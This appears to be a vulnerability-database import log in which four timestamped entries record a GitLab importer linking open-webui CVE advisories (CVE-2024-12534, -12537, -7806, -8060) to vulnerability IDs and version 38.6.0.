2026-06-12T19:56:32.751207+00:00 GitLab Importer Affected by VCID-3hv8-ys1d-63a6 https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/open-webui/CVE-2024-12534.yml 38.6.0
2026-06-12T19:56:24.604116+00:00 GitLab Importer Affected by VCID-vj38-mn12-v7br https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/open-webui/CVE-2024-12537.yml 38.6.0
2026-06-12T19:56:08.419761+00:00 GitLab Importer Affected by VCID-8qvj-xndv-v3ay https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/open-webui/CVE-2024-7806.yml 38.6.0
2026-06-12T19:55:13.993259+00:00 GitLab Importer Affected by VCID-4sn4-mrbm-dfgh https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/open-webui/CVE-2024-8060.yml 38.6.0